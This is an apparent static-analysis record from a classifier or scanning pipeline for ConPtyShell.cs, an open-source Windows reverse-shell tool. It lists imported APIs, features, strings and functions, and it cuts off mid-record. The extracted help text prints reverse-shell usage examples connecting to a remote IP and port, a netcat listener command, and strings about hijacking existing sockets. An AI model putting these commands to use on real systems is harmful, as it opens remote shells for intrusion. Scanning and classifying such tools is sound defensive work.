{ "ml": { "v": "4", "fs": [ { "id": 0, "prob": 0.8383554220199585, "class": 0 } ], "prob": 0.8383554, "class": 0, "models": [ { "m": "az", "prob": 0.8383554, "class": 0 }, { "m": "az/source", "prob": 0.4568528, "class": 0 }, { "m": "az/csharp", "prob": 0.4864865, "class": 0 } ], "version": "v17.17", "thresholds": [ 0.999503, 0.9998882 ], "analyzed_at": "2026-05-24T04:59:17Z" }, "path": "ConPtyShell.cs", "raw": { "v": "5", "fs": [ { "f": "O(Al)H(Po₂)", "x": 40, "ff": { "i": [ [ "", "CreateThread" ], [ "", "WaitForSingleObject" ], [ "", "CloseHandle" ], [ "", "NtQuerySystemInformation" ], [ "", "NtQueryObjectDynamic" ], [ "", "QueryObjectTypesInfo" ], [ "", "AlignUp" ], [ "", "DuplicateSocketFromHandle" ], [ "", "CloseHandle" ], [ "", "GetSocketTcpInfo" ], [ "", "closesocket" ], [ "", "closesocket" ], [ "", "WSAIoctl1" ], [ "", "WSADuplicateSocket" ], [ "", "WSASocket" ], [ "", "NtQueryObject" ], [ "", "OpenProcess" ], [ "", "NtQuerySystemInformationDynamic" ], [ "", "GetTypeIndexByName" ], [ "", "DuplicateHandle" ], [ "", "GetCurrentProcess" ], [ "", "CloseHandle" ], [ "", "NtQueryObjectDynamic" ], [ "", "CloseHandle" ], [ "", "CloseHandle" ], [ "", "CloseHandle" ], [ "", "CloseHandle" ], [ "", "DuplicateSocketsFromHandles" ], [ "", "FilterAndOrderSocketsByBytesIn" ], [ "", "GetSocketsTargetProcess" ], [ "", "getpeername" ], [ "", "getpeername" ], [ "", "closesocket" ], [ "", "NtCreateEvent" ], [ "", "NtDeviceIoControlFile1" ], [ "", "WaitForSingleObject" ], [ "", "CloseHandle" ], [ "", "GetSocketsTargetProcess" ], [ "", "IsSocketOverlapped" ], [ "", "IsSocketOverlapped" ], [ "", "ioctlsocket" ], [ "", "ioctlsocket" ], [ "", "WSAGetLastError" ], [ "", "GetParentProcess" ], [ "", "GetParentProcess" ], [ "", "NtQueryInformationProcess" ], [ "", "WSAStartup" ], [ "", "WSAGetLastError" ], [ "", "WSASocket" ], [ "", "inet_addr" ], [ "", "htons" ], [ "", "connect" ], [ "", "WSAGetLastError" ], [ "", "recv" ], [ "", "CreatePipe" ], [ "", "CreatePipe" ], [ "", "GetStdHandle" ], [ "", "GetStdHandle" ], [ "", "GetStdHandle" ], [ "", "CreateFile" ], [ "", "CreateFile" ], [ "", "SetStdHandle" ], [ "", "SetStdHandle" ], [ "", "SetStdHandle" ], [ "", "SetStdHandle" ], [ "", "SetStdHandle" ], [ "", "SetStdHandle" ], [ "", "GetStdHandle" ], [ "", "GetConsoleMode" ], [ "", "SetConsoleMode" ], [ "", "EnableVirtualTerminalSequenceProcessing" ], [ "", "CreatePseudoConsole" ], [ "", "InitializeProcThreadAttributeList" ], [ "", "InitializeProcThreadAttributeList" ], [ "", "UpdateProcThreadAttribute" ], [ "", "CreateProcessEx" ], [ "", "ConfigureProcessThread" ], [ "", "RunProcess" ], [ "", "ReadFile" ], [ "", "send" ], [ "", "ReadFile" ], [ "", "send" ], [ "", "WSAGetLastError" ], [ "", "recv" ], [ "", "WriteFile" ], [ "", "TerminateProcess" ], [ "", "WSACreateEvent" ], [ "", "WSAEventSelect" ], [ "", "WSAWaitForMultipleEvents" ], [ "", "recv" ], [ "", "WSAGetLastError" ], [ "", "WSAResetEvent" ], [ "", "WriteFile" ], [ "", "WSACloseEvent" ], [ "", "TerminateProcess" ], [ "", "GetProcAddress" ], [ "", "GetModuleHandle" ], [ "", "CreatePipes" ], [ "", "InitConsole" ], [ "", "InitWSAThread" ], [ "", "connectRemote" ], [ "", "TryParseRowsColsFromSocket" ], [ "", "GetConsoleWindow" ], [ "", "AllocConsole" ], [ "", "ShowWindow" ], [ "", "GetConsoleWindow" ], [ "", "CreatePseudoConsoleWithPipes" ], [ "", "CreateChildProcessWithPseudoConsole" ], [ "", "connectRemote" ], [ "", "CreateProcess" ], [ "", "CloseHandle" ], [ "", "CloseHandle" ], [ "", "NtSuspendProcess" ], [ "", "NtSuspendProcess" ], [ "", "StartThreadReadPipeWriteSocket" ], [ "", "StartThreadReadSocketWritePipe" ], [ "", "WaitForSingleObject" ], [ "", "WSAEventSelect" ], [ "", "NtResumeProcess" ], [ "", "NtResumeProcess" ], [ "", "closesocket" ], [ "", "RestoreStdHandles" ], [ "", "FreeConsole" ], [ "", "CloseHandle" ], [ "", "CloseHandle" ], [ "", "ClosePseudoConsole" ], [ "", "CloseHandle" ], [ "", "CloseHandle" ], [ "", "CheckInt" ], [ "", "CheckInt" ], [ "", "HelpRequired" ], [ "", "DisplayHelp" ], [ "", "CheckArgs" ], [ "", "CheckRemoteIpArg" ], [ "", "CheckInt" ], [ "", "ParseRows" ], [ "", "ParseCols" ], [ "", "ParseCommandLine" ], [ "", "System" ], [ "", "System.Diagnostics" ], [ "", "System.Runtime.InteropServices" ], [ "", "System.Net.NetworkInformation" ], [ "", "System.IO" ], [ "", "System.Threading" ], [ "", "System.Collections.Generic" ], [ "", "System.Net.Sockets" ], [ "", "System.Text" ], [ "", "System.Net" ] ], "m": { "ast": { "max_depth": 20.0, "bind_count": 113.0, "call_count": 297.0, "node_count": 14933.0, "target_count": 152.0, "member_depth_max": 3.0, "string_bind_count": 1.0, "string_literal_count": 109.0, "array_literal_max_length": 2.0, "string_concat_chain_max_length": 4.0 }, "file": { "size": 71041.0, "entropy": 4.86, "size_bytes": 71041.0 }, "text": { "digit_ratio": 0.02, "space_count": 16802.0, "total_lines": 1643.0, "char_entropy": 4.86, "unique_chars": 93.0, "lines_over_200": 8.0, "string_density": 0.07, "avg_line_length": 42.24, "max_line_length": 361.0, "empty_line_ratio": 0.1, "last_line_length": 1.0, "whitespace_ratio": 0.26, "most_common_ratio": 0.07, "identifier_density": 1.78, "line_length_stddev": 40.01, "encoded_string_ratio": 0.01, "normalized_string_count": 2.69, "repeated_char_sequences": 377.0, "suspicious_string_ratio": 0.07, "most_common_char_is_null": 0.0, "suspicious_comment_ratio": 0.4, "max_inline_whitespace_run": 18.0, "trailing_whitespace_lines": 9.0, "most_common_char_codepoint": 101.0, "suspicious_identifier_ratio": 0.03, "normalized_unique_identifiers": 66.56 }, "source": { "class_count": 31.0, "function_count": 98.0 }, "imports": { "count": 10.0, "unique_modules": 10.0, "third_party_count": 10.0, "third_party_ratio": 1.0 }, "strings": { "total": 109.0, "avg_length": 35.89, "max_length": 1836.0, "path_count": 1.0, "avg_entropy": 3.11, "empty_count": 3.0, "sql_strings": 1.0, "total_bytes": 3912.0, "entropy_stddev": 0.73, "base64_candidates": 1.0, "very_long_strings": 1.0, "shell_command_strings": 3.0, "embedded_code_candidates": 4.0 }, "comments": { "chars": 6409.0, "lines": 95.0, "total": 83.0, "to_code_ratio": 0.06, "url_in_comments": 3.0, "base64_in_comments": 8.0, "high_entropy_comments": 25.0 }, "functions": { "count": 129.0 }, "identifiers": { "total": 2917.0, "avg_length": 12.58, "max_length": 39.0, "min_length": 1.0, "avg_entropy": 3.02, "reuse_ratio": 0.24, "unique_count": 711.0, "length_stddev": 6.51, "has_digit_ratio": 0.03, "sequential_names": 7.0, "base64_like_names": 12.0, "single_char_count": 7.0, "single_char_ratio": 0.01, "high_entropy_count": 167.0, "high_entropy_ratio": 0.23, "all_lowercase_ratio": 0.1, "all_uppercase_ratio": 0.08, "numeric_suffix_count": 23.0 } }, "s": [ [ 342, "u8", "[-] ConPtyShellException: " ], [ 343, "u8", "[-] ConPtyShellException: " ], [ 683, "u8", "kernel32.dll" ], [ 684, "u8", "kernel32.dll" ], [ 776, "u8", "kernel32.dll" ], [ 777, "u8", "kernel32.dll" ], [ 923, "u8", "Kernel32.dll" ], [ 924, "u8", "Kernel32.dll" ], [ 11225, "u8", "WS2_32.DLL" ], [ 11226, "u8", "WS2_32.DLL" ], [ 11422, "u8", "ws2_32.dll" ], [ 11423, "u8", "ws2_32.dll" ], [ 11721, "u8", "ws2_32.dll" ], [ 11722, "u8", "ws2_32.dll" ], [ 11827, "u8", "ws2_32.dll" ], [ 11828, "u8", "ws2_32.dll" ], [ 12113, "u8", "Ws2_32.dll" ], [ 12114, "u8", "Ws2_32.dll" ], [ 12185, "u8", "WSAIoctl" ], [ 12186, "u8", "WSAIoctl" ], [ 12439, "u8", "ws2_32.dll" ], [ 12440, "u8", "ws2_32.dll" ], [ 12571, "u8", "kernel32.dll" ], [ 12572, "u8", "kernel32.dll" ], [ 12726, "u8", "kernel32.dll" ], [ 12727, "u8", "kernel32.dll" ], [ 13070, "u8", "kernel32.dll" ], [ 13071, "u8", "kernel32.dll" ], [ 13163, "u8", "kernel32.dll" ], [ 13164, "u8", "kernel32.dll" ], [ 13250, "u8", "ntdll.dll" ], [ 13251, "u8", "ntdll.dll" ], [ 13459, "u8", "ntdll.dll" ], [ 13460, "u8", "ntdll.dll" ], [ 13651, "u8", "kernel32.dll" ], [ 13652, "u8", "kernel32.dll" ], [ 13798, "u8", "ntdll.dll" ], [ 13799, "u8", "ntdll.dll" ], [ 14069, "u8", "ntdll.dll" ], [ 14070, "u8", "ntdll.dll" ], [ 14095, "u8", "NtDeviceIoControlFile" ], [ 14096, "u8", "NtDeviceIoControlFile" ], [ 14417, "u8", "Ws2_32.dll" ], [ 14418, "u8", "Ws2_32.dll" ], [ 23723, "u8", "Cannot open target process with pid " ], [ 23724, "u8", "Cannot open target process with pid " ], [ 23794, "u8", " for DuplicateHandle access" ], [ 23795, "u8", " for DuplicateHandle access" ], [ 24350, "u8", "File" ], [ 24351, "u8", "File" ], [ 26544, "u8", "\\\\Device\\\\Afd" ], [ 26547, "u8", "Device" ], [ 26555, "u8", "Afd" ], [ 31441, "u8", "No sockets found, so no hijackable sockets :( Exiting..." ], [ 31442, "u8", "No sockets found, so no hijackable sockets :( Exiting..." ], [ 31983, "u8", "ioctlsocket failed with return code " ], [ 31984, "u8", "ioctlsocket failed with return code " ], [ 32044, "u8", " and wsalasterror: " ], [ 32045, "u8", " and wsalasterror: " ], [ 32534, "u8", "ntdll.dll" ], [ 32535, "u8", "ntdll.dll" ], [ 33707, "u8", "{{{ConPtyShellException}}}\\r\\n" ], [ 33708, "u8", "{{{ConPtyShellException}}}" ], [ 36888, "u8", "kernel32.dll" ], [ 36889, "u8", "kernel32.dll" ], [ 37130, "u8", "kernel32.dll" ], [ 37131, "u8", "kernel32.dll" ], [ 37418, "u8", "kernel32.dll" ], [ 37419, "u8", "kernel32.dll" ], [ 37492, "u8", "CreateProcess" ], [ 37493, "u8", "CreateProcess" ], [ 37932, "u8", "kernel32.dll" ], [ 37933, "u8", "kernel32.dll" ], [ 38006, "u8", "CreateProcess" ], [ 38007, "u8", "CreateProcess" ], [ 38364, "u8", "kernel32.dll" ], [ 38365, "u8", "kernel32.dll" ], [ 38544, "u8", "kernel32.dll" ], [ 38545, "u8", "kernel32.dll" ], [ 38691, "u8", "kernel32.dll" ], [ 38692, "u8", "kernel32.dll" ], [ 38822, "u8", "kernel32.dll" ], [ 38823, "u8", "kernel32.dll" ], [ 38939, "u8", "kernel32.dll" ], [ 38940, "u8", "kernel32.dll" ], [ 39053, "u8", "kernel32.dll" ], [ 39054, "u8", "kernel32.dll" ], [ 39272, "u8", "kernel32.dll" ], [ 39273, "u8", "kernel32.dll" ], [ 39605, "u8", "kernel32.dll" ], [ 39606, "u8", "kernel32.dll" ], [ 39815, "u8", "kernel32.dll" ], [ 39816, "u8", "kernel32.dll" ], [ 40024, "u8", "kernel32.dll" ], [ 40025, "u8", "kernel32.dll" ], [ 40203, "u8", "kernel32.dll" ], [ 40204, "u8", "kernel32.dll" ], [ 40319, "u8", "kernel32.dll" ], [ 40320, "u8", "kernel32.dll" ], [ 40454, "u8", "kernel32.dll" ], [ 40455, "u8", "kernel32.dll" ], [ 40585, "u8", "kernel32.dll" ], [ 40586, "u8", "kernel32.dll" ], [ 40709, "u8", "kernel32.dll" ], [ 40710, "u8", "kernel32.dll" ], [ 40831, "u8", "user32.dll" ], [ 40832, "u8", "user32.dll" ], [ 40932, "u8", "kernel32.dll" ], [ 40933, "u8", "kernel32.dll" ], [ 41018, "u8", "kernel32.dll" ], [ 41019, "u8", "kernel32.dll" ], [ 41146, "u8", "kernel32" ], [ 41147, "u8", "kernel32" ], [ 41324, "u8", "ws2_32.dll" ], [ 41325, "u8", "ws2_32.dll" ], [ 41597, "u8", "ws2_32.dll" ], [ 41598, "u8", "ws2_32.dll" ], [ 41734, "u8", "ws2_32.dll" ], [ 41735, "u8", "ws2_32.dll" ], [ 41844, "u8", "ws2_32.dll" ], [ 41845, "u8", "ws2_32.dll" ], [ 41973, "u8", "ws2_32.dll" ], [ 41974, "u8", "ws2_32.dll" ], [ 42079, "u8", "ws2_32.dll" ], [ 42080, "u8", "ws2_32.dll" ], [ 42245, "u8", "ws2_32.dll" ], [ 42246, "u8", "ws2_32.dll" ], [ 42377, "u8", "ws2_32.dll" ], [ 42378, "u8", "ws2_32.dll" ], [ 42537, "u8", "ws2_32.dll" ], [ 42538, "u8", "ws2_32.dll" ], [ 42697, "u8", "WS2_32.DLL" ], [ 42698, "u8", "WS2_32.DLL" ], [ 42824, "u8", "WS2_32.DLL" ], [ 42825, "u8", "WS2_32.DLL" ], [ 42997, "u8", "WS2_32.DLL" ], [ 42998, "u8", "WS2_32.DLL" ], [ 43209, "u8", "WS2_32.DLL" ], [ 43210, "u8", "WS2_32.DLL" ], [ 43346, "u8", "WS2_32.DLL" ], [ 43347, "u8", "WS2_32.DLL" ], [ 43483, "u8", "ntdll.dll" ], [ 43484, "u8", "ntdll.dll" ], [ 43584, "u8", "ntdll.dll" ], [ 43585, "u8", "ntdll.dll" ], [ 43845, "u8", "WSAStartup failed with error code: {0}" ], [ 43846, "u8", "WSAStartup failed with error code: {0}" ], [ 44219, "u8", "Specified port is invalid: " ], [ 44220, "u8", "Specified port is invalid: " ], [ 44824, "u8", "WSAConnect failed with error code: {0}" ], [ 44825, "u8", "WSAConnect failed with error code: {0}" ], [ 46222, "u8", "Could not create the InputPipe" ], [ 46223, "u8", "Could not create the InputPipe" ], [ 46394, "u8", "Could not create the OutputPipe" ], [ 46395, "u8", "Could not create the OutputPipe" ], [ 46736, "u8", "CONOUT$" ], [ 46737, "u8", "CONOUT$" ], [ 46913, "u8", "CONIN$" ], [ 46914, "u8", "CONIN$" ], [ 47743, "u8", "Could not get console mode" ], [ 47744, "u8", "Could not get console mode" ], [ 47983, "u8", "Could not enable virtual terminal processing" ], [ 47984, "u8", "Could not enable virtual terminal processing" ], [ 48909, "u8", "Could not calculate the number of bytes for the attribute list. " ], [ 48910, "u8", "Could not calculate the number of bytes for the attribute list. " ], [ 49384, "u8", "Could not set up attribute list. " ], [ 49385, "u8", "Could not set up attribute list. " ], [ 49694, "u8", "Could not set pseudoconsole thread attribute. " ], [ 49695, "u8", "Could not set pseudoconsole thread attribute. " ], [ 50494, "u8", "Could not create process. " ], [ 50495, "u8", "Could not create process. " ], [ 58242, "u8", "kernel32" ], [ 58243, "u8", "kernel32" ], [ 58255, "u8", "CreatePseudoConsole" ], [ 58256, "u8", "CreatePseudoConsole" ], [ 58769, "u8", "\\r\\nCreatePseudoConsole function found! Spawning a fully interactive shell\\r\\n" ], [ 58774, "u8", "CreatePseudoConsole function found! Spawning a fully interactive shell" ], [ 60280, "u8", "No \\\\Device\\\\Afd objects found. Socket duplication failed." ], [ 60281, "u8", "No " ], [ 60286, "u8", "Device" ], [ 60294, "u8", "Afd objects found. Socket duplication failed." ], [ 61619, "u8", "{0}Could not connect to ip {1} on port {2}" ], [ 61620, "u8", "{0}Could not connect to ip {1} on port {2}" ], [ 62517, "u8", "{0}Could not create psuedo console. Error Code {1}" ], [ 62518, "u8", "{0}Could not create psuedo console. Error Code {1}" ], [ 62889, "u8", "Could not upgrade shell to fully interactive because ConPTY is not compatible on this system" ], [ 62890, "u8", "Could not upgrade shell to fully interactive because ConPTY is not compatible on this system" ], [ 63192, "u8", "{0}Could not connect to ip {1} on port {2}" ], [ 63193, "u8", "{0}Could not connect to ip {1} on port {2}" ], [ 63360, "u8", "\\r\\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\\r\\n" ], [ 63365, "u8", "CreatePseudoConsole function not found! Spawning a netcat-like interactive shell..." ], [ 66246, "u8", "ConPtyShell kindly exited.\\r\\n" ], [ 66247, "u8", "ConPtyShell kindly exited." ], [ 66388, "u8", "\n\nConPtyShell - Fully Interactive Reverse Shell for Windows \nAuthor: splinter_code\nLicense: MIT\nSource: https://github.com/anton" ], [ 68308, "u8", "-h" ], [ 68309, "u8", "-h" ], [ 68325, "u8", "--help" ], [ 68326, "u8", "--help" ], [ 68346, "u8", "/?" ], [ 68347, "u8", "/?" ], [ 68496, "u8", "\\r\\nConPtyShell: Not enough arguments. 2 Arguments required. Use --help for additional help.\\r\\n" ], [ 68501, "u8", "ConPtyShell: Not enough arguments. 2 Arguments required. Use --help for additional help." ], [ 68880, "u8", "\\r\\nConPtyShell: Invalid remoteIp value" ], [ 68885, "u8", "ConPtyShell: Invalid remoteIp value" ], [ 69124, "u8", "\\r\\nConPtyShell: Invalid integer value " ], [ 69129, "u8", "ConPtyShell: Invalid integer value " ], [ 69689, "u8", "powershell.exe" ], [ 69690, "u8", "powershell.exe" ], [ 70236, "u8", "upgrade" ], [ 70237, "u8", "upgrade" ], [ 70817, "u8", "\\n" ], [ 70839, "u8", "\\n" ] ], "v": { "source.language": "csharp", "source.imports[0]": "AlignUp", "source.imports[1]": "AllocConsole", "source.imports[2]": "CheckArgs", "source.imports[3]": "CheckInt", "source.imports[4]": "CheckRemoteIpArg", "source.imports[5]": "CloseHandle", "source.imports[6]": "ClosePseudoConsole", "source.imports[7]": "ConfigureProcessThread", "source.imports[8]": "CreateChildProcessWithPseudoConsole", "source.imports[9]": "CreateFile", "source.strings[0]": "\n\nConPtyShell - Fully Interactive Reverse Shell for Windows \nAuthor: splinter_code\nLicense: MIT\nSource: https://github.com/antonioCoco/ConPtyShell\n \nConPtyShell - Fully interactive reverse shell for Windows\n\nProperly set the rows and cols values. You can retrieve it from\nyour terminal with the command \"\"stty size\"\".\n\nYou can avoid to set rows and cols values if you run your listener\nwith the following command:\n stty raw -echo; (stty size; cat) | nc -lvnp 3001\n\nIf you want to change the console size directly from powershell\nyou can paste the following commands:\n $width=80\n $height=24\n $Host.UI.RawUI.BufferSize = New-Object Management.Automation.Host.Size ($width, $height)\n $Host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Host.Size -ArgumentList ($width, $height)\n\nUsage:\n ConPtyShell.exe remote_ip remote_port [rows] [cols] [commandline]\n\nPositional arguments:\n remote_ip The remote ip to connect\n remote_port The remote port to connect\n [rows] Rows size for the console\n Default: \"\"24\"\"\n [cols] Cols size for the console\n Default: \"\"80\"\"\n [commandline] The commandline of the process that you are going to interact\n Default: \"\"powershell.exe\"\"\n \nExamples:\n Spawn a reverse shell\n ConPtyShell.exe 10.0.0.2 3001\n \n Spawn a reverse shell with specific rows and cols size\n ConPtyShell.exe 10.0.0.2 3001 30 90\n \n Spawn a reverse shell (cmd.exe) with specific rows and cols size\n ConPtyShell.exe 10.0.0.2 3001 30 90 cmd.exe\n \n Upgrade your current shell with specific rows and cols size\n ConPtyShell.exe upgrade shell 30 90\n \n", "source.strings[1]": " and wsalasterror: ", "source.strings[2]": " for DuplicateHandle access", "source.strings[3]": "--help", "source.strings[4]": "Afd objects found. Socket duplication failed.", "source.strings[5]": "CONIN$", "source.strings[6]": "CONOUT$", "source.strings[7]": "Cannot open target process with pid ", "source.strings[8]": "ConPtyShell kindly exited.", "source.strings[9]": "ConPtyShell kindly exited.\\r\\n", "source.has_imports": true, "source.imports[10]": "CreatePipe", "source.imports[11]": "CreatePipes", "source.imports[12]": "CreateProcess", "source.imports[13]": "CreateProcessEx", "source.imports[14]": "CreatePseudoConsole", "source.imports[15]": "CreatePseudoConsoleWithPipes", "source.imports[16]": "CreateThread", "source.imports[17]": "DisplayHelp", "source.imports[18]": "DuplicateHandle", "source.imports[19]": "DuplicateSocketFromHandle", "source.imports[20]": "DuplicateSocketsFromHandles", "source.imports[21]": "EnableVirtualTerminalSequenceProcessing", "source.imports[22]": "FilterAndOrderSocketsByBytesIn", "source.imports[23]": "FreeConsole", "source.imports[24]": "GetConsoleMode", "source.imports[25]": "GetConsoleWindow", "source.imports[26]": "GetCurrentProcess", "source.imports[27]": "GetModuleHandle", "source.imports[28]": "GetParentProcess", "source.imports[29]": "GetProcAddress", "source.imports[30]": "GetSocketTcpInfo", "source.imports[31]": "GetSocketsTargetProcess", "source.imports[32]": "GetStdHandle", "source.imports[33]": "GetTypeIndexByName", "source.imports[34]": "HelpRequired", "source.imports[35]": "InitConsole", "source.imports[36]": "InitWSAThread", "source.imports[37]": "InitializeProcThreadAttributeList", "source.imports[38]": "IsSocketOverlapped", "source.imports[39]": "NtCreateEvent", "source.imports[40]": "NtDeviceIoControlFile1", "source.imports[41]": "NtQueryInformationProcess", "source.imports[42]": "NtQueryObject", "source.imports[43]": "NtQueryObjectDynamic", "source.imports[44]": "NtQuerySystemInformation", "source.imports[45]": "NtQuerySystemInformationDynamic", "source.imports[46]": "NtResumeProcess", "source.imports[47]": "NtSuspendProcess", "source.imports[48]": "OpenProcess", "source.imports[49]": "ParseCols", "source.imports[50]": "ParseCommandLine", "source.imports[51]": "ParseRows", "source.imports[52]": "QueryObjectTypesInfo", "source.imports[53]": "ReadFile", "source.imports[54]": "RestoreStdHandles", "source.imports[55]": "RunProcess", "source.imports[56]": "SetConsoleMode", "source.imports[57]": "SetStdHandle", "source.imports[58]": "ShowWindow", "source.imports[59]": "StartThreadReadPipeWriteSocket", "source.imports[60]": "StartThreadReadSocketWritePipe", "source.imports[61]": "System", "source.imports[62]": "System.Collections.Generic", "source.imports[63]": "System.Diagnostics", "source.imports[64]": "System.IO", "source.imports[65]": "System.Net", "source.imports[66]": "System.Net.NetworkInformation", "source.imports[67]": "System.Net.Sockets", "source.imports[68]": "System.Runtime.InteropServices", "source.imports[69]": "System.Text", "source.imports[70]": "System.Threading", "source.imports[71]": "TerminateProcess", "source.imports[72]": "TryParseRowsColsFromSocket", "source.imports[73]": "UpdateProcThreadAttribute", "source.imports[74]": "WSACloseEvent", "source.imports[75]": "WSACreateEvent", "source.imports[76]": "WSADuplicateSocket", "source.imports[77]": "WSAEventSelect", "source.imports[78]": "WSAGetLastError", "source.imports[79]": "WSAIoctl1", "source.imports[80]": "WSAResetEvent", "source.imports[81]": "WSASocket", "source.imports[82]": "WSAStartup", "source.imports[83]": "WSAWaitForMultipleEvents", "source.imports[84]": "WaitForSingleObject", "source.imports[85]": "WriteFile", "source.imports[86]": "closesocket", "source.imports[87]": "connect", "source.imports[88]": "connectRemote", "source.imports[89]": "getpeername", "source.imports[90]": "htons", "source.imports[91]": "inet_addr", "source.imports[92]": "ioctlsocket", "source.imports[93]": "recv", "source.imports[94]": "send", "source.strings[10]": "ConPtyShell: Invalid integer value ", "source.strings[11]": "ConPtyShell: Invalid remoteIp value", "source.strings[12]": "ConPtyShell: Not enough arguments. 2 Arguments required. Use --help for additional help.", "source.strings[13]": "Could not calculate the number of bytes for the attribute list. ", "source.strings[14]": "Could not create process. ", "source.strings[15]": "Could not create the InputPipe", "source.strings[16]": "Could not create the OutputPipe", "source.strings[17]": "Could not enable virtual terminal processing", "source.strings[18]": "Could not get console mode", "source.strings[19]": "Could not set pseudoconsole thread attribute. ", "source.strings[20]": "Could not set up attribute list. ", "source.strings[21]": "Could not upgrade shell to fully interactive because ConPTY is not compatible on this system", "source.strings[22]": "CreateProcess", "source.strings[23]": "CreatePseudoConsole", "source.strings[24]": "CreatePseudoConsole function found! Spawning a fully interactive shell", "source.strings[25]": "CreatePseudoConsole function not found! Spawning a netcat-like interactive shell...", "source.strings[26]": "Device", "source.strings[27]": "Kernel32.dll", "source.strings[28]": "No \\\\Device\\\\Afd objects found. Socket duplication failed.", "source.strings[29]": "No sockets found, so no hijackable sockets :( Exiting...", "source.strings[30]": "NtDeviceIoControlFile", "source.strings[31]": "Specified port is invalid: ", "source.strings[32]": "WS2_32.DLL", "source.strings[33]": "WSAConnect failed with error code: {0}", "source.strings[34]": "WSAIoctl", "source.strings[35]": "WSAStartup failed with error code: {0}", "source.strings[36]": "Ws2_32.dll", "source.strings[37]": "[-] ConPtyShellException: ", "source.strings[38]": "\\\\Device\\\\Afd", "source.strings[39]": "\\r\\nConPtyShell: Invalid integer value ", "source.strings[40]": "\\r\\nConPtyShell: Invalid remoteIp value", "source.strings[41]": "\\r\\nConPtyShell: Not enough arguments. 2 Arguments required. Use --help for additional help.\\r\\n", "source.strings[42]": "\\r\\nCreatePseudoConsole function found! Spawning a fully interactive shell\\r\\n", "source.strings[43]": "\\r\\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\\r\\n", "source.strings[44]": "ioctlsocket failed with return code ", "source.strings[45]": "kernel32", "source.strings[46]": "kernel32.dll", "source.strings[47]": "ntdll.dll", "source.strings[48]": "powershell.exe", "source.strings[49]": "upgrade", "source.strings[50]": "user32.dll", "source.strings[51]": "ws2_32.dll", "source.strings[52]": "{0}Could not connect to ip {1} on port {2}", "source.strings[53]": "{0}Could not create psuedo console. Error Code {1}", "source.strings[54]": "{{{ConPtyShellException}}}", "source.strings[55]": "{{{ConPtyShellException}}}\\r\\n", "source.functions[0]": "AlignUp", "source.functions[1]": "AllocConsole", "source.functions[2]": "CheckArgs", "source.functions[3]": "CheckDeadlockDetected", "source.functions[4]": "CheckInt", "source.functions[5]": "CheckRemoteIpArg", "source.functions[6]": "CloseHandle", "source.functions[7]": "ClosePseudoConsole", "source.functions[8]": "ConPtyShellException", "source.functions[9]": "ConPtyShellMain", "source.functions[10]": "ConfigureProcessThread", "source.functions[11]": "CreateChildProcessWithPseudoConsole", "source.functions[12]": "CreateFile", "source.functions[13]": "CreatePipe", "source.functions[14]": "CreatePipes", "source.functions[15]": "CreateProcess", "source.functions[16]": "CreateProcessEx", "source.functions[17]": "CreatePseudoConsole", "source.functions[18]": "CreatePseudoConsoleWithPipes", "source.functions[19]": "CreateThread", "source.functions[20]": "DisplayHelp", "source.functions[21]": "DuplicateHandle", "source.functions[22]": "DuplicateSocketFromHandle", "source.functions[23]": "DuplicateSocketsFromHandles", "source.functions[24]": "DuplicateTargetProcessSocket", "source.functions[25]": "EnableVirtualTerminalSequenceProcessing", "source.functions[26]": "FilterAndOrderSocketsByBytesIn", "source.functions[27]": "FreeConsole", "source.functions[28]": "GetConsoleMode", "source.functions[29]": "GetConsoleWindow", "source.functions[30]": "GetCurrentProcess", "source.functions[31]": "GetModuleHandle", "source.functions[32]": "GetParentProcess", "source.functions[33]": "GetProcAddress", "source.functions[34]": "GetSocketTcpInfo", "source.functions[35]": "GetSocketsTargetProcess", "source.functions[36]": "GetStdHandle", "source.functions[37]": "GetTypeIndexByName", "source.functions[38]": "HelpRequired", "source.functions[39]": "InitConsole", "source.functions[40]": "InitWSAThread", "source.functions[41]": "InitializeProcThreadAttributeList", "source.functions[42]": "IsSocketInherited", "source.functions[43]": "IsSocketOverlapped", "source.functions[44]": "Main", "source.functions[45]": "NtCreateEvent", "source.functions[46]": "NtDeviceIoControlFile1", "source.functions[47]": "NtQueryInformationProcess", "source.functions[48]": "NtQueryObject", "source.functions[49]": "NtQueryObjectDynamic", "source.functions[50]": "NtQuerySystemInformation", "source.functions[51]": "NtQuerySystemInformationDynamic", "source.functions[52]": "NtResumeProcess", "source.functions[53]": "NtSuspendProcess", "source.functions[54]": "OpenProcess", "source.functions[55]": "ParseCols", "source.functions[56]": "ParseCommandLine", "source.functions[57]": "ParseRows", "source.functions[58]": "QueryObjectTypesInfo", "source.functions[59]": "ReadFile", "source.functions[60]": "RestoreStdHandles", "source.functions[61]": "RunProcess", "source.functions[62]": "SetConsoleMode", "source.functions[63]": "SetSocketBlockingMode", "source.functions[64]": "SetStdHandle", "source.functions[65]": "ShowWindow", "source.functions[66]": "SpawnConPtyShell", "source.functions[67]": "StartThreadReadPipeWriteSocket", "source.functions[68]": "StartThreadReadSocketWritePipe", "source.functions[69]": "TerminateProcess", "source.functions[70]": "ThreadCheckDeadlock", "source.functions[71]": "ThreadReadPipeWriteSocketNonOverlapped", "source.functions[72]": "ThreadReadPipeWriteSocketOverlapped", "source.functions[73]": "ThreadReadSocketWritePipeNonOverlapped", "source.functions[74]": "ThreadReadSocketWritePipeOverlapped", "source.functions[75]": "TryParseRowsColsFromSocket", "source.functions[76]": "UpdateProcThreadAttribute", "source.functions[77]": "WSACloseEvent", "source.functions[78]": "WSACreateEvent", "source.functions[79]": "WSADuplicateSocket", "source.functions[80]": "WSAEventSelect", "source.functions[81]": "WSAGetLastError", "source.functions[82]": "WSAIoctl1", "source.functions[83]": "WSAResetEvent", "source.functions[84]": "WSASocket", "source.functions[85]": "WSAStartup", "source.functions[86]": "WSAWaitForMultipleEvents", "source.functions[87]": "WaitForSingleObject", "source.functions[88]": "WriteFile", "source.functions[89]": "closesocket", "source.functions[90]": "connect", "source.functions[91]": "connectRemote", "source.functions[92]": "getpeername", "source.functions[93]": "htons", "source.functions[94]": "inet_addr", "source.functions[95]": "ioctlsocket", "source.functions[96]": "recv", "source.functions[97]": "send" }, "ca": [ [ "ConPtyShellException", " and wsalasterror: " ], [ "ConPtyShellException", "Could not calculate the number of bytes for the attribute list. " ], [ "ConPtyShellException", "Could not create process. " ], [ "ConPtyShellException", "Could not create the InputPipe" ], [ "ConPtyShellException", "Could not create the OutputPipe" ], [ "ConPtyShellException", "Could not enable virtual terminal processing" ], [ "ConPtyShellException", "Could not get console mode" ], [ "ConPtyShellException", "Could not set 